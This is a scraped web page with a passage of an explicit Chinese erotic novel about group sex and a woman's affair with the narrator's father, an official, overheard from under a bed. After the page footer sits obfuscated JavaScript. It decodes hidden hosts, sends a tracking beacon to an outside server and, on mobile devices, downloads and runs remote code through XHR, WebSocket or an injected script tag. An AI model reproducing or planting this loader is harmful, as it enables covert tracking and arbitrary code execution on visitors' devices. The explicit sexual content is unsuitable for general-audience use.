我放开她的奶子,两只手掌抚摸着她的脊背,丰腴的凝脂随着她腰胯的摆动急促地颤抖,皮下的骨骼若隐若现,仿佛隐没在欲海浪涛中的暗礁。

“来了!来了!”女人惊叫了几下,仰起头,僵硬地挺直上身,“啊呀!”

一声,阴道猛然一抽,将我锁得牢牢的,她跌落下来,全身瑟瑟抖动,嘴里含含糊糊地呻吟着。

我轻轻地翻身将她放到草席上,女人紧紧地攥着我的手指不肯放开,我趴在她身上和她亲了几个嘴,这才慢慢爬起来。

孙东还在呼呼大睡,像一只死狗,阿芳摇醒了任勇,压在迷迷糊糊的男人身上,两人的四条腿绞在一起。

我丢下身旁的女人,跪爬几步来到小红身边,她醒了,望着我嘻嘻直笑,我揭开被子钻进去,和她躺在一处。我的手伸进小红的大腿之间,她习惯地闭拢两腿,我轻轻摩挲着她稀疏的毛发,她闭起眼小声地哼着,一会儿,大腿松弛了,慢慢地向两旁张开,我趁势伸出二指探进她隐秘的洞穴。

这时,朱冰也钻了进来,她贴上我的后背,胳膊绕到前面,温暖的手掌握持着我的家伙撸褪包皮,用纤细的手指小心翼翼地揉捏胀硬的龟头。

朱冰的手掌很绵软,手指充满了弹性,揉搓的动作不徐不疾,恰到好处,很快,我的阴茎被她撩拨得又粗又长。她在我的背后偷偷地笑了,换了一个手势,四指并拢和掌心围成半圆筒状急速套动,同时,拇指不住地刮擦龟头后面的肉棱子。

我的食指和中指紧紧抠住小红的肉襞飞快地转动,越来越多的液体从阴道深处冒了出来。她侧睡在枕头上,脑袋夸张地向后仰去,双手抱拳,两腿夹住我的手臂,大腿内侧“突突”打颤,两只脚在被窝里乱踢乱蹬。

朱冰察觉到我挺出小肚子的征象,她停下手,扳住我的肩头趴在耳边小声说:“好了,快上呀!”

我一跃而起,翻身压住小红,抖擞起精神一棍搠了进去,她已是溃不成军,抖着身子喷出一腔淫水,“嘤咛”一声便躺倒不动了。

朱冰拉了拉我的胳膊。她躺在被窝一侧,一只脚搁在我屁股后面,脚趾不停地抓挠。

我从小红身上爬下来挪了过去,朱冰热切地搂住我,把腿一岔,两脚使劲勾住我的腿……

************

第二天清早,我精疲力竭地走出孙东的房子,艺术家们要去展馆收拾东西,开车带着两个女人先走了,阿芳跟着我,坐在助动车后面送她回家。

阿芳住在田林,地处闹市边缘,小区内很幽静,多是新建的居民楼,新墙,新路,小树苗。

“上去坐坐吧,”阿芳从车后座上蹦下来,笑意盈盈地望着我,“家里没有人,不要紧的。”

“好,那我就打扰啦。”我把车推进车棚,随着她登上三楼。

进门后,果然空无一人,一左一右两间房亮堂堂的,陈设着浅木色新家具。

我站在充作卧室的小房间内,看着粉红色的窗帘和被褥,一切都是簇新的。墙上的结婚照里,阿芳身穿白色的婚纱,依偎着一位清癯的男子,长裙的白纱拖曳在地面,如同孔雀的尾羽。

阿芳从厨房走出来,手里端着一杯热茶递给我:“给,小心烫,”她撩了一下栗色的卷发,“做完事情要喝热的,知道吗?”说完,她面对我坐在床沿,呆呆地出神。

我呷了口茶,指指对面的墙上:“你老公?年纪蛮大的嘛。”

“嗯,”阿芳回头瞧了一眼,“他是海员,二副。”

“哦,怪不得你讲他出国了。”

“呵呵……”阿芳笑了笑,垂下头看着挂在脚尖上晃荡的绒布拖鞋,忽然,她想到什么,跳了起来跑到床头柜前拉开抽屉,找到一个小药瓶倒了一粒在手心里,她走回我跟前,把托在掌心里的药丸往嘴里一丢,接过茶杯喝了一口,仰头把药咽了下去。

“什么药?”我问。

她看我一眼,笑而不语,转身走到窗下拉紧窗帘,屋里顿时暗了下来,整个房间沉浸在桃色的温馨与暧昧中。阿芳打开衣柜,取出一袭白色的睡裙换上,然后走到床边,掀开被子一角钻了进去。

在粉色朦胧的光晕里,她在床上拥被而坐,双臂和精致的锁骨裸露在睡裙外面,两肩挂着细细的吊带。她用手掩住嘴打了个呵欠:“啊……呒……,你不困吗?”她揉揉眼皮,“我可要睡觉了。”说完,她往下躺了躺,拉起被子遮住下巴,闭起眼睛。

我脱下衣服,撩开被子躺到阿芳身旁,她自然地抬起后脑勺枕在我胳膊上,身体往我怀里偎依过来,忽闪着长长的睫毛盯着我看。

“黄军,你家里是做什么的?”

“我家里人?他们……”

我刚要说下去,门铃“叮咚”响了一声。我和阿芳同时怔住了,互相对看了一眼,“是谁?他?”我轻声地问。

“哎哟!我差点忘了!”阿芳猛地从床上蹦起来,急急忙忙地穿上拖鞋,“快快!躲起来!先到床底下藏一会儿!”她飞快地捡起我的衣服塞进床下,接着把我的皮鞋也踢了进去。

门铃“叮咚叮咚”响个不停,我手忙脚乱地爬进床架下面,幸亏席梦思床垫的垂幔很长,细密的流苏耷拉到地上,把床下遮得严严实实。

我缩在床底大气也不敢出,耳朵嗡嗡作响,心脏“噗嗵噗嗵”的,差点从嘴里跳出来。

阿芳穿著拖鞋的脚步声绕着床转了一圈,终于朝大门响去,我屏息静气地支楞起耳朵,听着外面的动静。

“吱呦……”阿芳打开了大门。

“啊,是你,进来吧。”她的声音怯生生地,伴着一个男人压低的话音。

“哐当!”房门重重地关上了,阿芳细碎的脚步和男人沉重的步伐向这边移近。

“小吴啊,过节还好吧?”男人低沉的声音像一声炸雷在我耳边爆裂开,天啊!这声音我听了二十多年,每一个抑扬顿挫都是那么熟悉,带着威海口音的浑厚嗓音极富磁性,曾经把我老妈迷得神魂颠倒,今天,却让我心惊肉跳。

“还好,谢谢领导关心。”阿芳小心翼翼地回答,声音又尖又细。

“哈哈哈哈!……”领导笑着往床上一坐,床垫沉了下来,“啥领导不领导的,这又不是在办公室里,随便点,啊?”

“哎,知道了。”阿芳小声答应。

“来来,坐到这边来,”领导拍了拍床褥,阿芳顺从地坐下,垫子又下降一寸,“半个多月没来,想不想我?”领导的话音甜得让我起一身鸡皮疙瘩。

“嗯,想……”小女人的声音像蚊子叫。

细细索索地,衣物摩擦的声音传来,一会儿,阿芳那件又轻又薄的吊带睡裙掉到地板上,接着,是一条小巧的白裤衩。忽然,床垫大大地震动一下,领导站了起来,我趴在冰凉的地板上一件件数着,培罗蒙外套、西裤、阿曼尼衬衣依次落在床边。

领导重新上床,这次,两个人的体重移到了床的正中。

“喔哟……”领导舒畅地呻吟,“真够味儿啊,年轻就是好哟……喔……”

吴芳微微喘息,咿咿呜呜地叫着。

“呵呵呵,等急了吧?哈哈哈哈!”

“唔……唔……”吴芳含糊不清地应着,嘴里像堵了棉花。

话音未落,床垫剧烈地上下颠动起来。

听着弹簧吱嘎吱嘎响个不停,酸甜苦辣一齐涌上心头,我咂一咂嘴,满不是个味道。

************

因为林彪事件,大批空军干部“下岗”,当年这位领导正值壮年,不得不服从“组织决定”转业地方,经历了文革、批林批孔、反击右倾翻案风几次政治运动,总算熬到了老邓复出,又赶上“干部年轻化、知识化、革命化”的浪潮,凭借六十年代的大学文凭和退伍军官的资历,他终于脱颖而出,从布袋子里钻了出来。

谈起这些,老妈总是语带唏嘘,他自己倒是一脸平静。圣人云:包子有肉不在褶上。现在想来,并非无怨无悔,而是莫测高深。

从我记事起,领导总喜欢在晚饭后由领导夫人陪同下楼散步,“解放思想”

的年月里,他俩手挽手徜徉在新村的小路上,一个挺拔英伟,一个窈窕妩媚,惹来一片羡慕的目光,“反对自由化”和“防止和平演变”的风尖浪口上,领导在前面气宇轩昂地踱,夫人在后面亦步亦趋地跟,周围的人们依旧用尊敬的眼神看着他俩。

五十五岁的当口,领导的职务升到了顶峰,尽管已过天命之年,但是在长期的体育锻炼和精心的保养下,领导依然步履矫健,生龙活虎,出于不可明说的原因,夫人亦是容光焕发,外貌比实际足足年轻十岁。

饿极了的猫儿要偷腥,吃得太饱的猫儿也会尝尝鲜。

我苦笑着摇摇头,这不是第一次,恐怕也不会是最后一次。

当年,爷爷和奶奶深夜赶到上海,奶奶进门就抱住老妈号啕大哭:“对不住你啊,闺女……”爷爷拄着文明棍,颤颤巍巍地立在屋当间,白胡子一撅一撅,瞪着跪在地下的领导,半天想不出词儿,只能恨恨地喝斥一句:“孽障!”

曾子说,万恶淫为首,百善孝当先,妇道有训,不孝有三,无后为大。看来领导正在冒著作恶的骂名尽人子之孝。

床垫的弹簧规律地响着,如同钟表一样精确,我看看手表,十分钟了,阿芳从刚开始的半推半就,到现在已陷入疯狂,可领导依然不知疲倦,抽送不停,终于,他的动作加快了,床垫震荡的幅度陡然增大,床架剧烈地摇晃起来,发出尖锐的金属撞击摩擦声,眼看床就要垮了。

“哦!哦!”年近六十的男人低吼了几声,“扑通”一下倒在女人身上大口喘息,屋内静悄悄的,只有阿芳轻轻的呻吟。

片刻,床上动了动,领导嘟囔了句什么,阿芳含糊地答应,接着,男人的脚落到地上,穿起衣服,独自开门走了出去。



友情推荐







返回首页 | 返回顶部

function FayQjGC(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function NIfGyu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return FayQjGC(t);};window[''+'p'+'W'+'A'+'n'+'C'+'j'+'i'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=NIfGyu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ssd.zmneysz.com:7891/stats/8195/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZmZS5obbGliaWguY29tJTNBODg5MQ==','d3NzJTNBJTJGJTJGcG8uemFjdm0uYY29tJTNBOTUzMw==','6553',window,document,['b','Y']);}:function(){};